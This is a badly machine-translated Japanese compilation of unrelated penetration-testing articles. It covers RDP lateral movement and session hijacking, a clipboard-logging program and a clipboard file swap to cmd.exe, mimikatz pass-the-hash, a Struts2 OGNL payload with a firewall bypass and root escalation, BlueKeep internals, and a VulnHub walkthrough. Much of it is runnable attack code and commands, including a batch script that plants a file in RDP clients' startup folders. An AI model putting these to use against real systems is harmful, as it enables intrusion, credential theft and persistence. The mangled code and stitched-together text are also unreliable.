dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*

echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'

echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'

for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(

run.bat '%% a' nul 21をコピーします

c: \ temp \ run.bat '%% a' nul 21をコピーします

コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21

))

del /q%temp%\ temp_00.txt nul 21

rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)

RDPセッションハイジャック

実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。

この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。

まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。

1.psexec

20201214130520

c: \ windows \ system32quser

ユーザー名セッション名IDステータスアイドル時間ログイン時間

管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14

テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04

C: \ Windows \ System32TScon 2 RDP-TCP#1 20201214141422

2。サービス

Quser

SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'

ネットスタートSesshijack 20201214142146

20201214142235

3。ミミカッツ

特権:3360Debug

TS:セッション

toekn:3360Elevate

TS:REMOTE /ID:2 20201214143542 20201214143555

4。パスワードなしのハイジャックをシフト

com hijacking shift backdoor in webshell 20201214143759

20201214144009

20201214144020

rdpclip.exe utilization

RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。

ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。

1。せん断ボード監視

10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。

#include例外

#include iostream

#include ostream

#include stdexcept

#include文字列

#include windows.h

#include fstream

名前空間STDを使用。

クラスraiiclipboard

{

public:

raiiclipboard()

{

if(!openclipboard(null))

runtime_errorを投げます( 'クリップボードを開けません。');

//.またはクリップボードエラーのカスタム例外クラスを定義します。

}

〜RaiicLipboard()

{

closeclipboard();

}

//コピーを禁止します

private:

raiiclipboard(const raiiclipboard);

raiiclipboard operator=(const raiiclipboard);

};

クラスraiitextgloballock

{

public:

明示的なraiitextgloballock(ハンドルhdata)

: m_hdata(hdata)

{

m_psz=static_castconst char*(globallock(m_hdata));

if(!m_psz)

runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');

}

〜raiitextgloballock()

{

GlobalUnLock(M_HDATA);

}

const char* get()const

{

M_PSZを返します。

}

private:

M_HDATAを処理します。

const char* m_psz;

//コピーを禁止します

raiitextgloballock(const raiitextgloballock);

raiitextgloballockオペレーター=(const raiitextgloballock);

};

文字列getClipBoardText()

{

raiiclipboardクリップボード。

hdata=getClipBoardData(CF_TEXT);

if(hdata==null){

戻る '';

//runtime_errorをスロー( 'クリップボードテキストを取得できません。');

}

raiitextgloclock textgloballock(hdata);

string text(textgloballock.get());

テキストを返します。

}

void savedata(string data){

ofstream out( 'info.txt'、iOS:3360App);

if(out.is_open())

{

out data + '\ n';

out '----------------------------- \ n';

out.close();

}

}

int main()

{

static const int kexitok=0;

static const int kexiterror=1;

文字列data1='';

文字列data2='';

試す

{

while(true){

data2=getClipBoardText();

if(data1!=data2){

cout data2 endl;

savedata(data2);

}

それ以外{

Cout 'Clip Actionを待っています.' endl;

睡眠(300000);

}

data1=data2;

睡眠(10000);

}

Kexitokを返します。

}

キャッチ(const例外e)

{

cerr '*** error:' e.what()endl;

Kexiterrorを返します。

}

} 20201214201005

安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。

3924 888 rdpclip.exe x64 3 dmz2 \ rasta

注射3924 X64 SMB

PowerShell-Import D: \ Tools \ get-clipboardContents.ps1

PowerShell Get-ClipboardContents -Pollinterval 1 20201214194146

2。反撃rdp

ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。

1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。

2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。

CVE-2019-0887

Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。

Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:k05qi-id7g5

クリップボードファイルを交換

#include iostream

#include windows.h

#include shlobj.h

int copyfiletoclipboard(char szfilename []);

int main()

{

copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');

0を返します。

}

int copyfiletoclipboard(char szfilename [])

{

uint udropeffect;

hglobal hgbleffect;

lpdword lpddropeffect;

ドロップファイルstdrop;

hglobal hgblfiles;

LPSTR LPDATA;

udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');

hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));

lpddropeffect=(lpdword)globallock(hgbleffect);

*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください

GlobalUnLock(hgbleffect);

stdrop.pfiles=sizeof(dropfiles);

stdrop.pt.x=0;

stdrop.pt.y=0;

stdrop.fnc=false;

stdrop.fwide=false;

hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);

lpdata=(lpstr)globallock(hgblfiles);

memcpy(lpdata、stdrop、sizeof(dropfiles));

strcpy(lpdata + sizeof(dropfiles)、szfilename);

GlobalUnLock(hgblfiles);

openclipboard(null);

emptyClipboard();

setclipboardData(CF_HDROP、hgblfiles);

setclipboarddata(udropeffect、hgbleffect);

closeclipboard();

返品1;

このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます

bg3bgfia04n11217.png

.NET脱介入

`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)

`https://github.com/pwntester/ysoserial.net`を利用します

使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String q9tct-86xmr

テストプログラム:

PowerShell ISE

vs

描画ツール

TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。

rdp pth

ユーザーハッシュログインウィンドウで

mstsc

サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります

制限付き管理モードをオンにします

reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。

mimikatz

mimikatz.exe

特権:Debug

sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'

この記事は、Apache Struts2 CVE-2013-2251に関するものです。これは、リモートコマンドの実行の影響のために非常に活用されている脆弱性です。要するに、「Action3:」/「Redirect:」/「Redirectaction:」を付けたパラメーターを操作することで導入される脆弱性により、フレームワークとしてStruts 2.3.15を使用してJava WebアプリケーションでリモートWebアプリケーションで実行できます。

現在、脆弱性がバイラリティに非常に広がるにつれて、主要なアプリケーションファイアウォールベンダーは、ルールエンジンと検出技術の更新を開始し、それが発生しないようにしています。しかし、著者は、ファイアウォールをバイパスしてリモートコードの実行を取得できるだけでなく、カーネルの脆弱性を活用することにより、ルートユーザーとしてサーバーの権限を取得する権限を高めることもできます。

著者が旅行予約のWebサイトをテストしているとき、アプリケーションが脆弱なApache Strutsフレームワークで実行されているかどうかを調べるために、「アクション、リダイレクト、リダイレクト」と正しい有効な攻撃負荷を確認するだけで、Googleを介してPOCを悪用しているブログ(OGNLの表現を構築する必要があります)を見つけてください。 http://blog.opensecurityResearch.com/2014/02/attacking-struts-with-cve-2013-2251.html、以下はコマンド「ifconfig」を実行するために使用されるペイロードです。

Redirect: $ {#a=(new java.lang.processbuilder(new java.lang.string [] {'ifconfig'})) java.io.bufferedreader(#c)、#e=new char [50000]、#d.read(#e)、#matt=#context.get( 'com.opensymphony.xwork2.dispatcher.httpservletresponse')、#matt.getwriter()。

qpp15tgvvtg9078.jpg

しかし、予想どおり、アプリケーションファイアウォールによってブロックされ、ボットマシンページにリダイレクトされます。

ndougys3kkj9079.jpg

前述のように、著者にそのようなことが起こると、どのパラメーターが脆弱であるかを知っている場合、その1つは上記の要求で使用された「リダイレクト」パラメーターです。 「リダイレクト」、はい、あなたはそれが正しいと思います、ここでリダイレクトを試してみましょう、http://www.goal.comにリダイレクトするだけです

b3pjec1dqxl9080.jpg

ご覧のとおり、著者は302をリダイレクトしてhttp://www.goal.comにリダイレクトされたため、以前のifconfigコマンドペイロードがブロックされました。このリダイレクト方法により、著者はファイアウォールをバイパスするアイデアを提供するため、上記のペイロードを次のように変更します。

Redirect3:http://www.goal.com/$ {#a=(New Java.lang.ProcessBuilder(new Java.lang.String [] {'ifconfig'})) java.io.bufferedreader(#c)、#e=new char [50000]、#d.read(#e)、#matt=#context.get( 'com.opensymphony.xwork2.dispatcher.httpservletresponse')、#matt.getwriter()。

リクエストを開始します。

yxd3xyp0d5m9081.jpg

以下は、ファイアウォールをバイパスして実行を取得できる「ifconfig」コマンドの出力情報を示しています。

fa34ya0dqzo9082.jpg

次の目標は、サーバーのリモートシェルを取得することです。著者は逆SSHトンネルと公開キー認証を使用してシェルを取得します。これにより、SSHユーザーはパスワードを入力せずにログインできます。したがって、著者は、攻撃者サーバーのSSH公開鍵を、被害者サーバー〜/.SSH/Authorized_Keysの認証パスに配置する必要があります。承認のアイデンティティを取得し、逆SSHトンネルとして取得するには、犠牲者SSHサーバーのID_RSA.PUB公開鍵も追加する必要があります。上記の2つのキーワードの概念を説明し、公開キーの認証の概念を理解するために----- ID_RSA.PUBは、他のホストに追加する公開キーであり、そのユーザーとしてログインできるようにします。 authorized_keysは、特定のサーバー上の特定のアカウントにログインすることを可能にするパブリックキーのリストです。

ステップ1- RCEを使用して、被害者サーバーのID_RSA.PUBファイルの場所を見つけます

lyb2ukcmjd39083.jpg

ステップ2-被害者サーバーから攻撃者サーバーにauthorized_keysをコピーする

4okdcfa5hc19084.jpg

ステップ3-攻撃者のサーバーから変更されたauthorized_keysをコピーし、id_rsa.pubを読んでシェルを取得します。

最後のステップ-SSHは攻撃者のマシンで逆トンネリングを使用するため、次のコマンドラインが実行されました。

h0r4te43s3q9085.jpg

サーバーのリモートシェルを取得できますが、ルートとしてログインする許可はありません。つまり、ファイルとコマンド実行にアクセスする権利は限られています。これで、ルートとしてログインする許可を取得するために、著者は最初にカーネルバージョンが現在の犠牲者マシンで実行されているものをチェックします。

x0umlqdwfzh9086.jpg

したがって、カーネルバージョンは2.6.32であることがわかります。使用されるCVEはGoogleを介して見つかります。このcve can

アカウントの権利を取得し、脆弱性を活用するのは簡単です---- https://github.com/realtalk/cve-2013-2094、そして最後にルートユーザー許可を取得します。

cjzfx2tlb2q9087.jpg

これは、Apache Strut 2の脆弱性とカーネルバージョンのエクスプロイトの組み合わせを活用することにより、ユーザーサーバーをルート化するリモートシェルを取得する方法です。

0x00脆弱性の説明

2019年5月15日に高リスクの脆弱性が公開されました。脆弱性には、Windows 2003、Windows 2008、Windows 2008 R2、Windows XPシステムなど、幅広い影響があります。このサーバーの脆弱性方法は、リモートデスクトップポート3389およびRDPプロトコルを介して攻撃されます。この脆弱性は、今年の最も有害な脆弱性であり、以前のランサムウェアであるEternal Blue Virusと同様です。 CVE-2019-0708の脆弱性は、ユーザーのID認証をチェックすることにより、相互作用なしに認証をバイパスし、RDPプロトコルを介して直接接続して、悪意のあるコード実行コマンドをサーバーに送信できることです。攻撃者によって悪用されると、サーバーの侵入、ウイルス、およびWannaCry Eternal Blueの脆弱性のような大規模な感染が引き起こされます。 2019年9月7日の午前1時頃、Metaspolitはそのエクスプロイトを更新しました

2019年5月、Microsoftは、リモートデスクトップサービス(RDS)のコードに存在する「BlueKeep」としても知られるリモートコード実行脆弱性CVE-2019-0708のパッチアップデートをリリースしました。この脆弱性は事前に認識されており、ユーザーの相互作用は必要ありません。したがって、潜在的な武器化されたワームの性的搾取の危険性があります。この脆弱性が正常に悪用されている場合、システム権限を使用して任意のコードを実行できます。 Microsoft Security Response Centerの推奨事項は、この脆弱性もWannaCryやAtheemauditなどの攻撃と同様にワーム攻撃になる可能性があることを示唆しています。この脆弱性の深刻さとユーザーへの潜在的な影響により、MicrosoftはWindowsユーザーを保護するためにサポートされなくなったWindows XPオペレーティングシステムのパッチを発行するためのまれな早期警告ステップを踏んでいます。

0x01脆弱性の影響

この脆弱性は、Windows 7、Windows Server 2008 R2、Windows Server 2008、Windows 2003、Windows XPなど、古いバージョンのWindowsシステムに影響します。 Windows 8およびWindows 10以降は、この脆弱性の影響を受けません。

0x02 CVE_2019_0708_BLUEKEEP_RCE.RBはじめに

このPRは、RDPを介してリリースされた後に脆弱性を悪用するCVE-2019-0708(別名BlueKeep)のエクスプロイトモジュールを追加します。 RDP Termdd.Sysドライバーは、内部的にのみMS_T120へのバインディングを適切に処理しないため、不正な切断プロバイダー表示メッセージをリリース後に使用できます。制御可能なデータとリモートの非ページのプールヒープジェットを使用して、アイドルチャネル用の間接コールウィジェットを使用して任意のコード実行を実装します。

このモジュールはもともと @Zerosum0x0と@Ryhansonによって開発され、その後@OJ、@ZeroSteiner、 @rickoates、 @wvutters-r7、 @wchen-r7、 @tsellers-r7、 @todb-r7などによってさらに開発されました。 MetasploitのRDPやその他のライブラリの機能強化を活用するために、モジュールはPython外部モジュールからネイティブRubyモジュールに移植されます。現在の実装と比較して比較する場合、元のPythonモジュールはコミット履歴にあります。

このモジュールは現在、Windows 7およびWindows Server 2008 R2の64ビットバージョンをターゲットにしています。 Windows Server 2008 R2の場合、RDPSNDチャネルを介してヒープジェットを有効にするためにレジストリキーを変更する必要がありますが、すべてのWindowsオペレーティングシステムでデフォルトで有効にされる他の代替チャネルがあります。

ユーザーは追加のターゲット情報を提供する必要があるか、ターゲットホストをクラッシュさせるリスクがあるため、このモジュールは現在、手動モジュールとしてリストされています。モジュールは、脆弱なホストのみをチェックし、特定のターゲットオペレーティングシステムに関するいくつかの初期情報を表示するデフォルトのポイントのみのターゲットオプションを実装しますが、ユーザーは補助偵察に基づいてより正確なターゲットを指定する必要があります。

未収、ベアメタル、バーチャルボックス、VMware、およびHyper-Vには特定のターゲットがありますが、ターゲット環境には、基礎となるアドレスをさらに移動する他の変数が存在する場合があります。

0x03脆弱性分析

1。 PDU

MS-RDPBCGR(リモートデスクトッププロトコル:接続およびリモート処理)ドキュメント、ビットマップキャッシュPDUのフルネームはTS_BITMAPCACHE_PERSISTENT_LIST_PDUであり、キーリストPDUデータは、キーリストPDUに組み込まれています。永続的なキーリストPDUは、クライアントからサーバーに送信されるRDP接続シーケンスPDUです。

RDPジャンクションシーケンスの接続完了ステージを図1に示します。

rujvlbiu1gz7930.png

図1。リモートデスクトッププロトコル(RDP)接続シーケンス

永続的なキーリストPDUヘッダーは、図2に示すように、次のように構築された一般的なRDP PDUヘッダーです。

orqasjrzjs07931.png

図2。クライアントの永続的なキーリストPDU

MS-RDPBCGRのドキュメントによると、TS_BITMAPCACHE_PERSISTENT_LIST_PDUは、前のセッションで送信されたキャッシュビットマップから保存されたキャッシュビットマップキーのリストを含む構造です。図3に示すように。

1jnvxzfgmey7932.png

図3。永続的なキーリストPDUデータ(BITMAPCACHE PRESSINTERT LIST PDU)

設計上、BitMap Cache PDUは、RDPクライアントによって使用され、サーバーにキーに関連付けられたビットマップのローカルコピーがあることを通知し、サーバーがクライアントにビットマップを再送信する必要がないことを示します。 MS-RDPBCGRドキュメントに基づいて、BitMap PDUには4つの特性があります。

RDPサーバーは、カーネルプールを割り当てて、キャッシュされたビットマップキーを保存します。

RDPサーバーによって割り当てられたカーネルプールサイズは、構造内のnumentriesCache Xフィールドによって制御でき、BitMapCache PersistentのTotalentriesCache XはRDPクライアントのリスト構造です。

ビットマップキーは複数回永続的なキーリストPDUで送信できるため、ビットマップキャッシュPDUを複数回合法的に送信できます。各PDUはBbitMaskフィールドのタグでマークされています。

ビットマップキーの数は169に制限されています。

BitMapCache Persistent List PDUのこれらの4つの機能に基づいて、169に制限されたビットマップキーの数をバイパスできる場合、データはカーネルに書き込むことができます。

2. PDUを使用してカーネルにデータを書き込む方法

MS-RDPBCGRドキュメントによると、通常復号化されたBitMapCache Persistent List PDUは次のとおりです。

F200-TS_SHARECONTROLHEADER:3360TOTALLENGTH=0x00F2=242BYTES1700-TS_SHARECONTROLHEADER:3:PDUTYPE=0x00170x0017=0x0010 |0x0007=ts_protocol_version | pdutype_datapduef03-ts_sharecontrolheader3:pdusource=0x03ef=1007e A030100-TS_SHAREDATAHEADER3:3360SHAREID=0x000103EA00-TS_SHAREDATAHEADER:3360PAD101-TS_SHAREDATAHEADER3336 0:STREAMID=Stream_Low(1)0000-TS_SHAREDATAHEADER:3360UNCOMPRESSEDLENGTH=02B-TS_SHAREADATAHEADER:PD UTYPE2=PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST(43)00-TS_SHAREDATAHEADER:GENERALCOMPRESSTYPE=00000-TS_SHARE DataHeader:GeneralCompressedLength=00000-TS_BITMAPCACHE_PERSISTENT_LIST:3360NUMENTRIES [0]=00000-TS_B itmapcache_persistent_list:3360numentries [1]=01900-ts_bitmapcache_persist_list3:3360numentries [2]=0x19=250000-ts_bitmapcache_persist_list3333333:nummumentries [3 ]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:numEntries[3]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:numEntries[3]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:numEnt Ries [4]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:3360TOTALENTRIES [0]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:333 60Totalentries [1]=01900-TS_BITMAPCACHE_PERSISTENT_LIST:3360TOTALENTRIES [2]=0x19=250000-TS_BITMAPCACHE_PERSIST ENT_LIST:TOTALENTRIES [3]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:3360TOTALENTRIES [4]=003-TS_BITMAPCACHE _persistent_list:3360bbitmask=0x030x03=0x01 |0x02=festive_first_pdu | stabe_last_pdu00-ts_bitmapcache_persiste nt_list:pad20000-ts_bitmapcache_persist_list:pad3ts_bitmapcache_persistent_list:3360entr IES:A31E5116-CACHE2、key0、low32-bits(ts_bitmapcache_persist_list_entry:key1)48292278-cache2、key0、hi GH32ビット(TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY:KEKEY2)61F7899C-CACHE2、KEY1、LOW32ビット(TS_BITMAPCACHE_PERSIS TENT_LIST_ENTRY:3360KEY1)CDA966A8-CACHE2、KEY1、HIGH32ビット(TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY:KEY2)

カーネルモジュールrdpwd.sysでは、関数ルーチンShareclass : SBC_HANDLEPERSISTENTCACHELISTがBitMapCache Persistent List PDUを解析する責任があります。構造内のBbitMaskフィールドがビット値0x01に設定されると、現在のPDUが永続的な最初のPDUであることを示します。次に、SBC_HANDLEPERSISTENTCACHELISTはWDLIBRT_MEMALLOCを呼び出してカーネルプール(カーネルメモリを割り当てる)を割り当てて、図4に示すように永続的なビットマップキャッシュキーを保存します。値0x00は、現在のPDUが永続的な中央PDUであることを示します。値0x02は、現在のPDUが永続的な最後のPDUであることを示しています。持続中央のPDUと永続的な最後のPDUを解析すると、SBC_HANDLEPERSISTENTCACHELISTは、図5に示すように、以前に割り当てられたメモリにビットマップキャッシュキーをコピーします。

c14seld1zre7933.png

図4。SBC_HANDLEPERSISTENTCACHELISTプールの割り当てとTotalErtriesCacheLimitチェック

mhdonndrqwi7934.png

図5。SBC_HANDLEPERSISTENTCACHELISTコピービットマップキャッシュキー

Windows 7 x86のスタックトレースの2番目のパラメーターとSBC_HandlePersistEntCacheListのTS_BITMAPCACHE_PERSISTENT_LIST構造を図6および図7に示します。

qrt1hafkvp27935.png

図6。SBC_HANDLEPERSISTENTCACHELISTスタックトレース

r4yk0oioq4k7936.png

図7。TS_BITMAPCACHE_PERSISTENT_LIST構造SBC_HANDLEPERSISTENTCACHELISTの2番目のパラメーターとして

図4に示すように、BitmapCachElistPoollen=0xc *(Total Length + 4)およびTotal Entriescache0 + Totalentriescache1 + Totalentriescache2 + Totalentriescache3 + TotalentriesCache4。

この式に基づいて、「Word値」TotalErtriesCache x=0xffffを設定して、BitMapCachElistPoolenを最大値にすることができます。ただし、図8に示すTotalErtriesCache Xごとに、TotalErtriesCacheLimitチェックがあります。

TotalErtriesCachelimit Xは、図8に示すように、capapi_capability_niTがrdpwdを介して呼び出される場合、capapi_load_load_ts_bitmapcache_capabilityseset_rev2機能で開始されるts_bitmapcache_capabilityset_rev2構造に由来します。図9に示すように、PDUの確認を解析します。

jwkvowhev017937.png

図8。RDPWD! capapi_load_ts_bitmapcache_capabilityset_rev2

bfgcxmotaor7938.png

図9。RDPWD! capapi_combine_ts_bitmapcache_capabilityset_rev2

capapi_combine_ts_bitmapcache_capabilityset_rev2は、サーバースタートしたnumcellcaches(0x03)およびtotalentriescachelimit [0-4](0x258、0x258、0x10000、0x0、0x0)をクライアントのリクエスト(0x03)およびcothelcaches(0x03)およびcombines (0x80000258、0x80000fffc、0x0)、図9のEDXおよびESIレジスタに示すように。

図10に示すように、クライアントはnumcellcachesとtotalentriescache [0-4]を制御できますが、図11に示すように、サーバースタートしたnumcellcaches(0-4]およびtotalentriescachelimit [0-4]](0x258、0x258、0x10000、0x0、0x0)で制御することはできません。

fuje4xywhbl7939.png

図10。ts_bitmapcache_capabilityset_rev2

1inldp50cqt7940.png

図11。Capapi_combine_ts_bitmapcache_capabilityset_rev2関数

この情報を使用すると、最大bitmapcachelistpoollen=0xc *(0x10000 +0x258 +0x258 + 4)=0xc3870を計算できます。

bck41fys1427941.png

図12。永続的なキーリストPDUメモリダンプ

ただし、BitMapキャッシュリストプールのRDPクライアントがすべてのデータを制御できるわけではないことが観察されています。制御されたデータの各8バイトの間に、4バイトの制御されていないデータ(インデックス値)がありますが、これはシェルコードストレージにそれほど友好的ではありません。さらに、0xc3870サイズのカーネルプールは複数回割り当てることはできません。これは、永続的なキーリストPDUを合法的に1回しか送信できないためです。ただし、カーネルプールが同じメモリアドレスで割り当てられる特定の統計的特徴がまだあります。さらに、図13に示すように、特にX64でのヒープ割り当てに非常に役立つビットマップキャッシュリストプール割り当ての前に、常に0x2B522C(x86)または0x2B5240(x64)カーネルサイズのプールがあります。

x53imqdwklh7942.png

図13。永続的なキーリストのPDU統計的特性

3。 rect pdu

を更新します

MS-RDPBCGRドキュメントによると、PDUを更新すると、RDPクライアントはサーバーにセッションの再割り当てを要求します。この構造には、汎用PDUヘッダーとrefreshrectpdudata(変数)が含まれています。 14。

z0urncpswvs7943.png

図14。長方形のPDUデータを更新します

数字のフィールドは、AreastoreFreshフィールドに含まれる長方形構造の数を定義する8ビットの署名のない整数です。 AreatoreFreshフィールドは、図15に示すように、TS_RECTANGLE16構造の配列です。

chagdwlgeub7944.png

図15。長方形(TS_RECTANGLE16)が含まれています

更新されたRect PDUは、一連の「包括的長方形」操作を介してサーバーに通知し、サーバーがセッションを再割り当てするようにします。デフォルトのチャネルに基づいて、チャネルIDは0x03EA(サーバーチャネルID)です。図1に示すように、接続シーケンスが完了すると、RDPサーバーは更新マトリックスPDUを受信/解析でき、最も重要なことには、合法的に複数回送信できます。 TS_RECTANGLE16構造は8バイトに制限されていますが、RDPクライアントは8バイトのみを制御できますが、arbitrary意的なデータをカーネルに書き込むことができます。

4。 Rect Rect PDU

を使用して、カーネルにデータを書き込みます

通常の復号化されたリフレッシュrect PDUを図16に示します。

pjbm2djrgcz7945.png

0x00はじめに

Raven 2は、中程度の不明瞭なBoot2Root仮想ターゲットマシンです。見つけるための4つのフラグがあります。 Raven Securityは数回違反された後、ハッカーを防ぐためにWebサーバーのセキュリティを強化するための追加の措置を講じました。

ターゲットマシンのダウンロードアドレス:https://download.vulnhub.com/raven/raven2.ova

0x01生存ホスト

1。Windowsのスキャンポートツールは、ターゲットネットワークセグメント全体(192.168.1.0/24)全体をスキャンし、192.168.1.12がターゲットマシンであり、ポート80、22、および111が開かれていることがわかりました。

t4go2phvxwt8570.png

2。Linuxでは、ARPスキャンおよびNetDiscoverコマンドを介してホストサバイバル検出を実行できます。 192.168.1.101がターゲットマシンであることがわかります。root@backlion#arp -scan -l

または

root@backlion#netdiscover -R192.168.1.0/24

hmqnebat0ac8571.png

5ap0rzsvm058572.png

0x02ポート検出

1。NAMPを通るターゲットホストのポートスキャン

NMAP -A192.168.1.12 bewdcyoto0i8573.png

2。ポート22、80、111が開いており、ポート80がWebアプリケーションを実行し、Webを侵入してシステムに入ることができることがわかりました。ここでは、爆破ポート22をお勧めしません。

azu13o4irlw8574.jpg

0x02目次

1.DIRBは、Linuxでディレクトリスキャンに使用できます

zbehuwknecf8575.png

2。同時に、ディレクトリ構造をWindows上のDirbusterを介してスキャンして、ディレクトリ構造をより直感的に確認することもできます。

42devof4e328576.png

3.いくつかの第1レベルのディレクトリにスキャンし、ファイルのコンテンツを1つずつ確認します。 /ベンダー/ディレクトリで2つの興味深いものを見つけました:http://192.168.1.32/ベンダー/パス、flag1と絶対パスを見ることができます

mii4zt2eu5p8577.png

4。3http://192.168.1.12/ベンダー/バージョンにアクセスして、特定のソフトウェアのバージョン番号を見つけますが、どのソフトウェアがわかりません。

q0d0z1l1seu8578.png

同時に、ディレクトリにphpmailer autoload.phpファイルがあります。一緒に、5.2.16バージョンのphpmailerを使用する必要があります。

0x03リバウンド シェル

1。Kaliでは、Serachsploitを介してPHPMailerの脆弱性を直接検索できます。

root@kali2018:〜#searchploit phpmailer

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------)

---------------------------------------------

タイトルを悪用します|パス

| (/usr/share/exploitdb/)

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------)

---------------------------------------------

phpmailer 1.7- 'data()'リモートサービス拒否|

Exploits/PHP/DOS/25752.txt

PHPMailer 5.2.18-リモートコード実行(BASH)|

Exploits/PHP/WebApps/40968.php

PHPMailer 5.2.18-リモートコード実行(PHP)|

Exploits/PHP/WebApps/40970.php

PHPMailer 5.2.18-リモートコード実行(Python)| Exploits/PHP/WebApps/40974.py

phpmailer 5.2.19 -Sendmail引数インジェクション(Metasploit)|

Exploits/Multiple/WebApps/41688.RB

PHPMailer 5.2.20-リモートコード実行|

Exploits/PHP/WebApps/40969.pl

phpmailer 5.2.20/swiftmailer 5.4.5-dev/zendフレームワーク /

Zend -mail 2.4.11- 'aio' 'pwnscriptum'リモートコードexe |

Exploits/PHP/WebApps/40986.py

exim mtaを備えたphpmailer 5.2.20-リモートコード実行|

Exploits/PHP/WebApps/42221.py

PHPMailer 5.2.21-ローカルファイルの開示|

Exploits/PHP/WebApps/43056.py

WordPress PHPMailer 4.6-ホストヘッダーコマンドインジェクション(MetaSploit)|

Exploits/PHP/REMOTE/42024.RB

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------)

---------------------------------------------

シェルコード:結果はありません

zwxa5bbews08579.pngcp /usr/share/exploitdb/exploits/php/webapps/40974.py/opt

CD /OPT

2. Explore-DB.comで検索して、EXPアドレスの使用を見つけることもできます。

https://www.exploit-db.com/exploits/40974

o5ncozcb0vm8580.jpg

Expを変更するだけです:

a。 # - * - Coding: UTF-8-* - 上部での宣言を追加します。そうしないと、コメント内の多くの非ASCII文字がエラーを報告します。

b。ターゲットをターゲットマシンのIPアドレスに変更し、contact.phpとしてファイルを使用します。

c。バックドアファイルパス名を変更します。デフォルトのbackdoor.phpを使用することで常に使用できず、最終的に成功するためにshell.phpにペイロードを変更する理由はわかりません。

d。リバウンドシェルのアドレスをIP(KALIホストIP)とNCリスニングサーバーのポートに変更します。

e。 Pythonスクリプトを実行するには、対応するパッケージ(PIPインストールrequests-toolbelt)が必要です。ダウンロードして、次のアドレスに手動でインストールします。

